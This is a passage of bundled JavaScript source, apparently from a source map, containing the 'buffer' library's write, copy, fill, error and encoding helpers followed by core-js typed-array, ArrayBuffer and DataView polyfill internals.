writeInt16BE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)\n this[offset] = (value >>> 8)\n this[offset + 1] = (value & 0xff)\n return offset + 2\n}\n\nBuffer.prototype.writeInt32LE = function writeInt32LE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)\n this[offset] = (value & 0xff)\n this[offset + 1] = (value >>> 8)\n this[offset + 2] = (value >>> 16)\n this[offset + 3] = (value >>> 24)\n return offset + 4\n}\n\nBuffer.prototype.writeInt32BE = function writeInt32BE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)\n if (value < 0) value = 0xffffffff + value + 1\n this[offset] = (value >>> 24)\n this[offset + 1] = (value >>> 16)\n this[offset + 2] = (value >>> 8)\n this[offset + 3] = (value & 0xff)\n return offset + 4\n}\n\nBuffer.prototype.writeBigInt64LE = defineBigIntMethod(function writeBigInt64LE (value, offset = 0) {\n return wrtBigUInt64LE(this, value, offset, -BigInt('0x8000000000000000'), BigInt('0x7fffffffffffffff'))\n})\n\nBuffer.prototype.writeBigInt64BE = defineBigIntMethod(function writeBigInt64BE (value, offset = 0) {\n return wrtBigUInt64BE(this, value, offset, -BigInt('0x8000000000000000'), BigInt('0x7fffffffffffffff'))\n})\n\nfunction checkIEEE754 (buf, value, offset, ext, max, min) {\n if (offset + ext > buf.length) throw new RangeError('Index out of range')\n if (offset < 0) throw new RangeError('Index out of range')\n}\n\nfunction writeFloat (buf, value, offset, littleEndian, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) {\n checkIEEE754(buf, value, offset, 4, 3.4028234663852886e+38, -3.4028234663852886e+38)\n }\n ieee754.write(buf, value, offset, littleEndian, 23, 4)\n return offset + 4\n}\n\nBuffer.prototype.writeFloatLE = function writeFloatLE (value, offset, noAssert) {\n return writeFloat(this, value, offset, true, noAssert)\n}\n\nBuffer.prototype.writeFloatBE = function writeFloatBE (value, offset, noAssert) {\n return writeFloat(this, value, offset, false, noAssert)\n}\n\nfunction writeDouble (buf, value, offset, littleEndian, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) {\n checkIEEE754(buf, value, offset, 8, 1.7976931348623157E+308, -1.7976931348623157E+308)\n }\n ieee754.write(buf, value, offset, littleEndian, 52, 8)\n return offset + 8\n}\n\nBuffer.prototype.writeDoubleLE = function writeDoubleLE (value, offset, noAssert) {\n return writeDouble(this, value, offset, true, noAssert)\n}\n\nBuffer.prototype.writeDoubleBE = function writeDoubleBE (value, offset, noAssert) {\n return writeDouble(this, value, offset, false, noAssert)\n}\n\n// copy(targetBuffer, targetStart=0, sourceStart=0, sourceEnd=buffer.length)\nBuffer.prototype.copy = function copy (target, targetStart, start, end) {\n if (!Buffer.isBuffer(target)) throw new TypeError('argument should be a Buffer')\n if (!start) start = 0\n if (!end && end !== 0) end = this.length\n if (targetStart >= target.length) targetStart = target.length\n if (!targetStart) targetStart = 0\n if (end > 0 && end < start) end = start\n\n // Copy 0 bytes; we're done\n if (end === start) return 0\n if (target.length === 0 || this.length === 0) return 0\n\n // Fatal error conditions\n if (targetStart < 0) {\n throw new RangeError('targetStart out of bounds')\n }\n if (start < 0 || start >= this.length) throw new RangeError('Index out of range')\n if (end < 0) throw new RangeError('sourceEnd out of bounds')\n\n // Are we oob?\n if (end > this.length) end = this.length\n if (target.length - targetStart < end - start) {\n end = target.length - targetStart + start\n }\n\n const len = end - start\n\n if (this === target && typeof Uint8Array.prototype.copyWithin === 'function') {\n // Use built-in when available, missing from IE11\n this.copyWithin(targetStart, start, end)\n } else {\n Uint8Array.prototype.set.call(\n target,\n this.subarray(start, end),\n targetStart\n )\n }\n\n return len\n}\n\n// Usage:\n// buffer.fill(number[, offset[, end]])\n// buffer.fill(buffer[, offset[, end]])\n// buffer.fill(string[, offset[, end]][, encoding])\nBuffer.prototype.fill = function fill (val, start, end, encoding) {\n // Handle string cases:\n if (typeof val === 'string') {\n if (typeof start === 'string') {\n encoding = start\n start = 0\n end = this.length\n } else if (typeof end === 'string') {\n encoding = end\n end = this.length\n }\n if (encoding !== undefined && typeof encoding !== 'string') {\n throw new TypeError('encoding must be a string')\n }\n if (typeof encoding === 'string' && !Buffer.isEncoding(encoding)) {\n throw new TypeError('Unknown encoding: ' + encoding)\n }\n if (val.length === 1) {\n const code = val.charCodeAt(0)\n if ((encoding === 'utf8' && code < 128) ||\n encoding === 'latin1') {\n // Fast path: If `val` fits into a single byte, use that numeric value.\n val = code\n }\n }\n } else if (typeof val === 'number') {\n val = val & 255\n } else if (typeof val === 'boolean') {\n val = Number(val)\n }\n\n // Invalid ranges are not set to a default, so can range check early.\n if (start < 0 || this.length < start || this.length < end) {\n throw new RangeError('Out of range index')\n }\n\n if (end <= start) {\n return this\n }\n\n start = start >>> 0\n end = end === undefined ? this.length : end >>> 0\n\n if (!val) val = 0\n\n let i\n if (typeof val === 'number') {\n for (i = start; i < end; ++i) {\n this[i] = val\n }\n } else {\n const bytes = Buffer.isBuffer(val)\n ? val\n : Buffer.from(val, encoding)\n const len = bytes.length\n if (len === 0) {\n throw new TypeError('The value \"' + val +\n '\" is invalid for argument \"value\"')\n }\n for (i = 0; i < end - start; ++i) {\n this[i + start] = bytes[i % len]\n }\n }\n\n return this\n}\n\n// CUSTOM ERRORS\n// =============\n\n// Simplified versions from Node, changed for Buffer-only usage\nconst errors = {}\nfunction E (sym, getMessage, Base) {\n errors[sym] = class NodeError extends Base {\n constructor () {\n super()\n\n Object.defineProperty(this, 'message', {\n value: getMessage.apply(this, arguments),\n writable: true,\n configurable: true\n })\n\n // Add the error code to the name to include it in the stack trace.\n this.name = `${this.name} [${sym}]`\n // Access the stack to generate the error message including the error code\n // from the name.\n this.stack // eslint-disable-line no-unused-expressions\n // Reset the name to the actual name.\n delete this.name\n }\n\n get code () {\n return sym\n }\n\n set code (value) {\n Object.defineProperty(this, 'code', {\n configurable: true,\n enumerable: true,\n value,\n writable: true\n })\n }\n\n toString () {\n return `${this.name} [${sym}]: ${this.message}`\n }\n }\n}\n\nE('ERR_BUFFER_OUT_OF_BOUNDS',\n function (name) {\n if (name) {\n return `${name} is outside of buffer bounds`\n }\n\n return 'Attempt to access memory outside buffer bounds'\n }, RangeError)\nE('ERR_INVALID_ARG_TYPE',\n function (name, actual) {\n return `The \"${name}\" argument must be of type number. Received type ${typeof actual}`\n }, TypeError)\nE('ERR_OUT_OF_RANGE',\n function (str, range, input) {\n let msg = `The value of \"${str}\" is out of range.`\n let received = input\n if (Number.isInteger(input) && Math.abs(input) > 2 ** 32) {\n received = addNumericalSeparator(String(input))\n } else if (typeof input === 'bigint') {\n received = String(input)\n if (input > BigInt(2) ** BigInt(32) || input < -(BigInt(2) ** BigInt(32))) {\n received = addNumericalSeparator(received)\n }\n received += 'n'\n }\n msg += ` It must be ${range}. Received ${received}`\n return msg\n }, RangeError)\n\nfunction addNumericalSeparator (val) {\n let res = ''\n let i = val.length\n const start = val[0] === '-' ? 1 : 0\n for (; i >= start + 4; i -= 3) {\n res = `_${val.slice(i - 3, i)}${res}`\n }\n return `${val.slice(0, i)}${res}`\n}\n\n// CHECK FUNCTIONS\n// ===============\n\nfunction checkBounds (buf, offset, byteLength) {\n validateNumber(offset, 'offset')\n if (buf[offset] === undefined || buf[offset + byteLength] === undefined) {\n boundsError(offset, buf.length - (byteLength + 1))\n }\n}\n\nfunction checkIntBI (value, min, max, buf, offset, byteLength) {\n if (value > max || value < min) {\n const n = typeof min === 'bigint' ? 'n' : ''\n let range\n if (byteLength > 3) {\n if (min === 0 || min === BigInt(0)) {\n range = `>= 0${n} and < 2${n} ** ${(byteLength + 1) * 8}${n}`\n } else {\n range = `>= -(2${n} ** ${(byteLength + 1) * 8 - 1}${n}) and < 2 ** ` +\n `${(byteLength + 1) * 8 - 1}${n}`\n }\n } else {\n range = `>= ${min}${n} and <= ${max}${n}`\n }\n throw new errors.ERR_OUT_OF_RANGE('value', range, value)\n }\n checkBounds(buf, offset, byteLength)\n}\n\nfunction validateNumber (value, name) {\n if (typeof value !== 'number') {\n throw new errors.ERR_INVALID_ARG_TYPE(name, 'number', value)\n }\n}\n\nfunction boundsError (value, length, type) {\n if (Math.floor(value) !== value) {\n validateNumber(value, type)\n throw new errors.ERR_OUT_OF_RANGE(type || 'offset', 'an integer', value)\n }\n\n if (length < 0) {\n throw new errors.ERR_BUFFER_OUT_OF_BOUNDS()\n }\n\n throw new errors.ERR_OUT_OF_RANGE(type || 'offset',\n `>= ${type ? 1 : 0} and <= ${length}`,\n value)\n}\n\n// HELPER FUNCTIONS\n// ================\n\nconst INVALID_BASE64_RE = /[^+/0-9A-Za-z-_]/g\n\nfunction base64clean (str) {\n // Node takes equal signs as end of the Base64 encoding\n str = str.split('=')[0]\n // Node strips out invalid characters like \\n and \\t from the string, base64-js does not\n str = str.trim().replace(INVALID_BASE64_RE, '')\n // Node converts strings with length < 2 to ''\n if (str.length < 2) return ''\n // Node allows for non-padded base64 strings (missing trailing ===), base64-js does not\n while (str.length % 4 !== 0) {\n str = str + '='\n }\n return str\n}\n\nfunction utf8ToBytes (string, units) {\n units = units || Infinity\n let codePoint\n const length = string.length\n let leadSurrogate = null\n const bytes = []\n\n for (let i = 0; i < length; ++i) {\n codePoint = string.charCodeAt(i)\n\n // is surrogate component\n if (codePoint > 0xD7FF && codePoint < 0xE000) {\n // last char was a lead\n if (!leadSurrogate) {\n // no lead yet\n if (codePoint > 0xDBFF) {\n // unexpected trail\n if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)\n continue\n } else if (i + 1 === length) {\n // unpaired lead\n if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)\n continue\n }\n\n // valid lead\n leadSurrogate = codePoint\n\n continue\n }\n\n // 2 leads in a row\n if (codePoint < 0xDC00) {\n if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)\n leadSurrogate = codePoint\n continue\n }\n\n // valid surrogate pair\n codePoint = (leadSurrogate - 0xD800 << 10 | codePoint - 0xDC00) + 0x10000\n } else if (leadSurrogate) {\n // valid bmp char, but last char was a lead\n if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)\n }\n\n leadSurrogate = null\n\n // encode utf8\n if (codePoint < 0x80) {\n if ((units -= 1) < 0) break\n bytes.push(codePoint)\n } else if (codePoint < 0x800) {\n if ((units -= 2) < 0) break\n bytes.push(\n codePoint >> 0x6 | 0xC0,\n codePoint & 0x3F | 0x80\n )\n } else if (codePoint < 0x10000) {\n if ((units -= 3) < 0) break\n bytes.push(\n codePoint >> 0xC | 0xE0,\n codePoint >> 0x6 & 0x3F | 0x80,\n codePoint & 0x3F | 0x80\n )\n } else if (codePoint < 0x110000) {\n if ((units -= 4) < 0) break\n bytes.push(\n codePoint >> 0x12 | 0xF0,\n codePoint >> 0xC & 0x3F | 0x80,\n codePoint >> 0x6 & 0x3F | 0x80,\n codePoint & 0x3F | 0x80\n )\n } else {\n throw new Error('Invalid code point')\n }\n }\n\n return bytes\n}\n\nfunction asciiToBytes (str) {\n const byteArray = []\n for (let i = 0; i < str.length; ++i) {\n // Node's code seems to be doing this and not & 0x7F..\n byteArray.push(str.charCodeAt(i) & 0xFF)\n }\n return byteArray\n}\n\nfunction utf16leToBytes (str, units) {\n let c, hi, lo\n const byteArray = []\n for (let i = 0; i < str.length; ++i) {\n if ((units -= 2) < 0) break\n\n c = str.charCodeAt(i)\n hi = c >> 8\n lo = c % 256\n byteArray.push(lo)\n byteArray.push(hi)\n }\n\n return byteArray\n}\n\nfunction base64ToBytes (str) {\n return base64.toByteArray(base64clean(str))\n}\n\nfunction blitBuffer (src, dst, offset, length) {\n let i\n for (i = 0; i < length; ++i) {\n if ((i + offset >= dst.length) || (i >= src.length)) break\n dst[i + offset] = src[i]\n }\n return i\n}\n\n// ArrayBuffer or Uint8Array objects from other contexts (i.e. iframes) do not pass\n// the `instanceof` check but they should be treated as of that type.\n// See: https://github.com/feross/buffer/issues/166\nfunction isInstance (obj, type) {\n return obj instanceof type ||\n (obj != null && obj.constructor != null && obj.constructor.name != null &&\n obj.constructor.name === type.name)\n}\nfunction numberIsNaN (obj) {\n // For IE11 support\n return obj !== obj // eslint-disable-line no-self-compare\n}\n\n// Create lookup table for `toString('hex')`\n// See: https://github.com/feross/buffer/issues/219\nconst hexSliceLookupTable = (function () {\n const alphabet = '0123456789abcdef'\n const table = new Array(256)\n for (let i = 0; i < 16; ++i) {\n const i16 = i * 16\n for (let j = 0; j < 16; ++j) {\n table[i16 + j] = alphabet[i] + alphabet[j]\n }\n }\n return table\n})()\n\n// Return not function with Error if BigInt not supported\nfunction defineBigIntMethod (fn) {\n return typeof BigInt === 'undefined' ? BufferBigIntNotDefined : fn\n}\n\nfunction BufferBigIntNotDefined () {\n throw new Error('BigInt not supported')\n}\n","// eslint-disable-next-line es/no-typed-arrays -- safe\nmodule.exports = typeof ArrayBuffer != 'undefined' && typeof DataView != 'undefined';\n","'use strict';\nvar NATIVE_ARRAY_BUFFER = require('../internals/array-buffer-native');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\nvar hasOwn = require('../internals/has-own-property');\nvar classof = require('../internals/classof');\nvar tryToString = require('../internals/try-to-string');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar redefine = require('../internals/redefine');\nvar defineProperty = require('../internals/object-define-property').f;\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar getPrototypeOf = require('../internals/object-get-prototype-of');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar uid = require('../internals/uid');\n\nvar Int8Array = global.Int8Array;\nvar Int8ArrayPrototype = Int8Array && Int8Array.prototype;\nvar Uint8ClampedArray = global.Uint8ClampedArray;\nvar Uint8ClampedArrayPrototype = Uint8ClampedArray && Uint8ClampedArray.prototype;\nvar TypedArray = Int8Array && getPrototypeOf(Int8Array);\nvar TypedArrayPrototype = Int8ArrayPrototype && getPrototypeOf(Int8ArrayPrototype);\nvar ObjectPrototype = Object.prototype;\nvar TypeError = global.TypeError;\n\nvar TO_STRING_TAG = wellKnownSymbol('toStringTag');\nvar TYPED_ARRAY_TAG = uid('TYPED_ARRAY_TAG');\nvar TYPED_ARRAY_CONSTRUCTOR = uid('TYPED_ARRAY_CONSTRUCTOR');\n// Fixing native typed arrays in Opera Presto crashes the browser, see #595\nvar NATIVE_ARRAY_BUFFER_VIEWS = NATIVE_ARRAY_BUFFER && !!setPrototypeOf && classof(global.opera) !== 'Opera';\nvar TYPED_ARRAY_TAG_REQIRED = false;\nvar NAME, Constructor, Prototype;\n\nvar TypedArrayConstructorsList = {\n Int8Array: 1,\n Uint8Array: 1,\n Uint8ClampedArray: 1,\n Int16Array: 2,\n Uint16Array: 2,\n Int32Array: 4,\n Uint32Array: 4,\n Float32Array: 4,\n Float64Array: 8\n};\n\nvar BigIntArrayConstructorsList = {\n BigInt64Array: 8,\n BigUint64Array: 8\n};\n\nvar isView = function isView(it) {\n if (!isObject(it)) return false;\n var klass = classof(it);\n return klass === 'DataView'\n || hasOwn(TypedArrayConstructorsList, klass)\n || hasOwn(BigIntArrayConstructorsList, klass);\n};\n\nvar isTypedArray = function (it) {\n if (!isObject(it)) return false;\n var klass = classof(it);\n return hasOwn(TypedArrayConstructorsList, klass)\n || hasOwn(BigIntArrayConstructorsList, klass);\n};\n\nvar aTypedArray = function (it) {\n if (isTypedArray(it)) return it;\n throw TypeError('Target is not a typed array');\n};\n\nvar aTypedArrayConstructor = function (C) {\n if (isCallable(C) && (!setPrototypeOf || isPrototypeOf(TypedArray, C))) return C;\n throw TypeError(tryToString(C) + ' is not a typed array constructor');\n};\n\nvar exportTypedArrayMethod = function (KEY, property, forced) {\n if (!DESCRIPTORS) return;\n if (forced) for (var ARRAY in TypedArrayConstructorsList) {\n var TypedArrayConstructor = global[ARRAY];\n if (TypedArrayConstructor && hasOwn(TypedArrayConstructor.prototype, KEY)) try {\n delete TypedArrayConstructor.prototype[KEY];\n } catch (error) { /* empty */ }\n }\n if (!TypedArrayPrototype[KEY] || forced) {\n redefine(TypedArrayPrototype, KEY, forced ? property\n : NATIVE_ARRAY_BUFFER_VIEWS && Int8ArrayPrototype[KEY] || property);\n }\n};\n\nvar exportTypedArrayStaticMethod = function (KEY, property, forced) {\n var ARRAY, TypedArrayConstructor;\n if (!DESCRIPTORS) return;\n if (setPrototypeOf) {\n if (forced) for (ARRAY in TypedArrayConstructorsList) {\n TypedArrayConstructor = global[ARRAY];\n if (TypedArrayConstructor && hasOwn(TypedArrayConstructor, KEY)) try {\n delete TypedArrayConstructor[KEY];\n } catch (error) { /* empty */ }\n }\n if (!TypedArray[KEY] || forced) {\n // V8 ~ Chrome 49-50 `%TypedArray%` methods are non-writable non-configurable\n try {\n return redefine(TypedArray, KEY, forced ? property : NATIVE_ARRAY_BUFFER_VIEWS && TypedArray[KEY] || property);\n } catch (error) { /* empty */ }\n } else return;\n }\n for (ARRAY in TypedArrayConstructorsList) {\n TypedArrayConstructor = global[ARRAY];\n if (TypedArrayConstructor && (!TypedArrayConstructor[KEY] || forced)) {\n redefine(TypedArrayConstructor, KEY, property);\n }\n }\n};\n\nfor (NAME in TypedArrayConstructorsList) {\n Constructor = global[NAME];\n Prototype = Constructor && Constructor.prototype;\n if (Prototype) createNonEnumerableProperty(Prototype, TYPED_ARRAY_CONSTRUCTOR, Constructor);\n else NATIVE_ARRAY_BUFFER_VIEWS = false;\n}\n\nfor (NAME in BigIntArrayConstructorsList) {\n Constructor = global[NAME];\n Prototype = Constructor && Constructor.prototype;\n if (Prototype) createNonEnumerableProperty(Prototype, TYPED_ARRAY_CONSTRUCTOR, Constructor);\n}\n\n// WebKit bug - typed arrays constructors prototype is Object.prototype\nif (!NATIVE_ARRAY_BUFFER_VIEWS || !isCallable(TypedArray) || TypedArray === Function.prototype) {\n // eslint-disable-next-line no-shadow -- safe\n TypedArray = function TypedArray() {\n throw TypeError('Incorrect invocation');\n };\n if (NATIVE_ARRAY_BUFFER_VIEWS) for (NAME in TypedArrayConstructorsList) {\n if (global[NAME]) setPrototypeOf(global[NAME], TypedArray);\n }\n}\n\nif (!NATIVE_ARRAY_BUFFER_VIEWS || !TypedArrayPrototype || TypedArrayPrototype === ObjectPrototype) {\n TypedArrayPrototype = TypedArray.prototype;\n if (NATIVE_ARRAY_BUFFER_VIEWS) for (NAME in TypedArrayConstructorsList) {\n if (global[NAME]) setPrototypeOf(global[NAME].prototype, TypedArrayPrototype);\n }\n}\n\n// WebKit bug - one more object in Uint8ClampedArray prototype chain\nif (NATIVE_ARRAY_BUFFER_VIEWS && getPrototypeOf(Uint8ClampedArrayPrototype) !== TypedArrayPrototype) {\n setPrototypeOf(Uint8ClampedArrayPrototype, TypedArrayPrototype);\n}\n\nif (DESCRIPTORS && !hasOwn(TypedArrayPrototype, TO_STRING_TAG)) {\n TYPED_ARRAY_TAG_REQIRED = true;\n defineProperty(TypedArrayPrototype, TO_STRING_TAG, { get: function () {\n return isObject(this) ? this[TYPED_ARRAY_TAG] : undefined;\n } });\n for (NAME in TypedArrayConstructorsList) if (global[NAME]) {\n createNonEnumerableProperty(global[NAME], TYPED_ARRAY_TAG, NAME);\n }\n}\n\nmodule.exports = {\n NATIVE_ARRAY_BUFFER_VIEWS: NATIVE_ARRAY_BUFFER_VIEWS,\n TYPED_ARRAY_CONSTRUCTOR: TYPED_ARRAY_CONSTRUCTOR,\n TYPED_ARRAY_TAG: TYPED_ARRAY_TAG_REQIRED && TYPED_ARRAY_TAG,\n aTypedArray: aTypedArray,\n aTypedArrayConstructor: aTypedArrayConstructor,\n exportTypedArrayMethod: exportTypedArrayMethod,\n exportTypedArrayStaticMethod: exportTypedArrayStaticMethod,\n isView: isView,\n isTypedArray: isTypedArray,\n TypedArray: TypedArray,\n TypedArrayPrototype: TypedArrayPrototype\n};\n","'use strict';\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar NATIVE_ARRAY_BUFFER = require('../internals/array-buffer-native');\nvar FunctionName = require('../internals/function-name');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar redefineAll = require('../internals/redefine-all');\nvar fails = require('../internals/fails');\nvar anInstance = require('../internals/an-instance');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar toLength = require('../internals/to-length');\nvar toIndex = require('../internals/to-index');\nvar IEEE754 = require('../internals/ieee754');\nvar getPrototypeOf = require('../internals/object-get-prototype-of');\nvar setPrototypeOf = require('../internals/object-set-prototype-of');\nvar getOwnPropertyNames = require('../internals/object-get-own-property-names').f;\nvar defineProperty = require('../internals/object-define-property').f;\nvar arrayFill = require('../internals/array-fill');\nvar arraySlice = require('../internals/array-slice');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar InternalStateModule = require('../internals/internal-state');\n\nvar PROPER_FUNCTION_NAME = FunctionName.PROPER;\nvar CONFIGURABLE_FUNCTION_NAME = FunctionName.CONFIGURABLE;\nvar getInternalState = InternalStateModule.get;\nvar setInternalState = InternalStateModule.set;\nvar ARRAY_BUFFER = 'ArrayBuffer';\nvar DATA_VIEW = 'DataView';\nvar PROTOTYPE = 'prototype';\nvar WRONG_LENGTH = 'Wrong length';\nvar WRONG_INDEX = 'Wrong index';\nvar NativeArrayBuffer = global[ARRAY_BUFFER];\nvar $ArrayBuffer = NativeArrayBuffer;\nvar ArrayBufferPrototype = $ArrayBuffer && $ArrayBuffer[PROTOTYPE];\nvar $DataView = global[DATA_VIEW];\nvar DataViewPrototype = $DataView && $DataView[PROTOTYPE];\nvar ObjectPrototype = Object.prototype;\nvar Array = global.Array;\nvar RangeError = global.RangeError;\nvar fill = uncurryThis(arrayFill);\nvar reverse = uncurryThis([].reverse);\n\nvar packIEEE754 = IEEE754.pack;\nvar unpackIEEE754 = IEEE754.unpack;\n\nvar packInt8 = function (number) {\n return [number & 0xFF];\n};\n\nvar packInt16 = function (number) {\n return [number & 0xFF, number >> 8 & 0xFF];\n};\n\nvar packInt32 = function (number) {\n return [number & 0xFF, number >> 8 & 0xFF, number >> 16 & 0xFF, number >> 24 & 0xFF];\n};\n\nvar unpackInt32 = function (buffer) {\n return buffer[3] << 24 | buffer[2] << 16 | buffer[1] << 8 | buffer[0];\n};\n\nvar packFloat32 = function (number) {\n return packIEEE754(number, 23, 4);\n};\n\nvar packFloat64 = function (number) {\n return packIEEE754(number, 52, 8);\n};\n\nvar addGetter = function (Constructor, key) {\n defineProperty(Constructor[PROTOTYPE], key, { get: function () { return getInternalState(this)[key]; } });\n};\n\nvar get = function (view, count, index, isLittleEndian) {\n var intIndex = toIndex(index);\n var store = getInternalState(view);\n if (intIndex + count > store.byteLength) throw RangeError(WRONG_INDEX);\n var bytes = getInternalState(store.buffer).bytes;\n var start = intIndex + store.byteOffset;\n var pack = arraySlice(bytes, start, start + count);\n return isLittleEndian ? pack : reverse(pack);\n};\n\nvar set = function (view, count, index, conversion, value, isLittleEndian) {\n var intIndex = toIndex(index);\n var store = getInternalState(view);\n if (intIndex + count > store.byteLength) throw RangeError(WRONG_INDEX);\n var bytes = getInternalState(store.buffer).bytes;\n var start = intIndex + store.byteOffset;\n var pack = conversion(+value);\n for (var i = 0; i < count; i++) bytes[start + i] = pack[isLittleEndian ? i : count - i - 1];\n};\n\nif (!NATIVE_ARRAY_BUFFER) {\n $ArrayBuffer = function ArrayBuffer(length) {\n anInstance(this, ArrayBufferPrototype);\n var byteLength = toIndex(length);\n setInternalState(this, {\n bytes: fill(Array(byteLength), 0),\n byteLength: byteLength\n });\n if (!DESCRIPTORS) this.byteLength = byteLength;\n };\n\n ArrayBufferPrototype = $ArrayBuffer[PROTOTYPE];\n\n $DataView = function DataView(buffer, byteOffset, byteLength) {\n anInstance(this, DataViewPrototype);\n anInstance(buffer, ArrayBufferPrototype);\n var bufferLength = getInternalState(buffer).byteLength;\n var offset = toIntegerOrInfinity(byteOffset);\n if (offset < 0 || offset > bufferLength) throw RangeError('Wrong offset');\n byteLength = byteLength === undefined ? bufferLength - offset : toLength(byteLength);\n if (offset + byteLength > bufferLength) throw RangeError(WRONG_LENGTH);\n setInternalState(this, {\n buffer: buffer,\n byteLength: byteLength,\n byteOffset: offset\n });\n if (!DESCRIPTORS) {\n this.buffer = buffer;\n this.byteLength = byteLength;\n this.byteOffset = offset;\n }\n };\n\n DataViewPrototype = $DataView[PROTOTYPE];\n\n if (DESCRIPTORS) {\n addGetter($ArrayBuffer, 'byteLength');\n addGetter($DataView, 'buffer');\n addGetter($DataView, 'byteLength');\n addGetter($DataView, 'byteOffset');\n }\n\n redefineAll(DataViewPrototype, {\n getInt8: function getInt8(byteOffset) {\n return get(this, 1, byteOffset)[0] << 24 >> 24;\n },\n getUint8: function getUint8(byteOffset) {\n return get(this, 1, byteOffset)[0];\n },\n getInt16: function getInt16(byteOffset /* , littleEndian */) {\n var bytes = get(this, 2, byteOffset, arguments.length > 1 ? arguments[1] : undefined);\n return (bytes[1] << 8 | bytes[0]) << 16 >> 16;\n },\n getUint16: function getUint16(byteOffset /* , littleEndian */) {\n var bytes = get(this, 2, byteOffset, arguments.length > 1 ? arguments[1] : undefined);\n return bytes[1] << 8 | bytes[0];\n },\n getInt32: function getInt32(byteOffset /* , littleEndian */) {\n return unpackInt32(get(this, 4, byteOffset, arguments.length > 1 ? arguments[1] : undefined));\n },\n getUint32: function getUint32(byteOffset /* , littleEndian */) {\n return unpackInt32(get(this, 4, byteOffset, arguments.length > 1 ? arguments[1] : undefined)) >>> 0;\n },\n getFloat32: function getFloat32(byteOffset /* , littleEndian */) {\n return unpackIEEE754(get(this, 4, byteOffset, arguments.length > 1 ? arguments[1] : undefined), 23);\n },\n getFloat64: function getFloat64(byteOffset /* , littleEndian */) {\n return unpackIEEE754(get(this, 8, byteOffset, arguments.length > 1 ? arguments[1] : undefined), 52);\n },\n setInt8: function setInt8(byteOffset, value) {\n set(this, 1, byteOffset, packInt8, value);\n },\n setUint8: function setUint8(byteOffset, value) {\n set(this, 1, byteOffset, packInt8, value);\n },\n setInt16: function setInt16(byteOffset, value /* , littleEndian */) {\n set(this, 2, byteOffset, packInt16, value, arguments.length > 2 ? arguments[2] : undefined);\n },\n setUint16: function setUint16(byteOffset, value /* , littleEndian */) {\n set(this, 2, byteOffset, packInt16, value, arguments.length > 2 ? arguments[2] : undefined);\n },\n setInt32: function setInt32(byteOffset, value /* , littleEndian */) {\n set(this, 4, byteOffset, packInt32, value, arguments.length > 2 ? arguments[2] : undefined);\n },\n setUint32: function setUint32(byteOffset, value /* , littleEndian */) {\n set(this, 4, byteOffset, packInt32, value, arguments.length > 2 ? arguments[2] : undefined);\n },\n setFloat32: function setFloat32(byteOffset, value /* , littleEndian */) {\n set(this, 4, byteOffset, packFloat32, value, arguments.length > 2 ? arguments[2] : undefined);\n },\n setFloat64: function setFloat64(byteOffset, value /* , littleEndian */) {\n set(this, 8, byteOffset, packFloat64, value, arguments.length > 2 ? arguments[2] : undefined);\n }\n });\n} else {\n var INCORRECT_ARRAY_BUFFER_NAME = PROPER_FUNCTION_NAME && NativeArrayBuffer.name !== ARRAY_BUFFER;\n /* eslint-disable no-new -- required for testing */\n if (!fails(function () {\n NativeArrayBuffer(1);\n }) || !fails(function () {\n new NativeArrayBuffer(-1);\n }) || fails(function () {\n new NativeArrayBuffer();\n new NativeArrayBuffer(1.5);\n new NativeArrayBuffer(NaN);\n return INCORRECT_ARRAY_BUFFER_NAME && !CONFIGURABLE_FUNCTION_NAME;\n })) {\n /* eslint-enable no-new -- required for testing */\n $ArrayBuffer = function ArrayBuffer(length) {\n anInstance(this, ArrayBufferPrototype);\n return new NativeArrayBuffer(toIndex(length));\n };\n\n $ArrayBuffer[PROTOTYPE] = ArrayBufferPrototype;\n\n for (var keys = getOwnPropertyNames(NativeArrayBuffer), j = 0, key; keys.length > j;) {\n if (!((key = keys[j++]) in $ArrayBuffer)) {\n createNonEnumerableProperty($ArrayBuffer, key, NativeArrayBuffer[key]);\n }\n }\n\n ArrayBufferPrototype.constructor = $ArrayBuffer;\n } else if (INCORRECT_ARRAY_BUFFER_NAME && CONFIGURABLE_FUNCTION_NAME) {\n createNonEnumerableProperty(NativeArrayBuffer, 'name', ARRAY_BUFFER);\n }\n\n // WebKit bug - the same parent prototype for typed arrays and data view\n if (setPrototypeOf && getPrototypeOf(DataViewPrototype) !== ObjectPrototype) {\n setPrototypeOf(DataViewPrototype, ObjectPrototype);\n }\n\n // iOS Safari 7.x bug\n var testView = new $DataView(new $ArrayBuffer(2));\n var $setInt8 = uncurryThis(DataViewPrototype.setInt8);\n testView.setInt8(0, 2147483648);\n testView.setInt8(1, 2147483649);\n if (testView.getInt8(0) || !testView.getInt8(1)) redefineAll(DataViewPrototype, {\n setInt8: function setInt8(byteOffset, value) {\n $setInt8(this, byteOffset, value << 24 >> 24);\n },\n setUint8: function setUint8(byteOffset, value) {\n $setInt8(this, byteOffset, value << 24 >> 24);\n }\n }, { unsafe: true });\n}\n\nsetToStringTag($ArrayBuffer, ARRAY_BUFFER);\nsetToStringTag($DataView, DATA_VIEW);\n\nmodule.exports = {\n ArrayBuffer: $ArrayBuffer,\n DataView: $DataView\n};\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar arrayBufferModule = require('../internals/array-buffer');\nvar 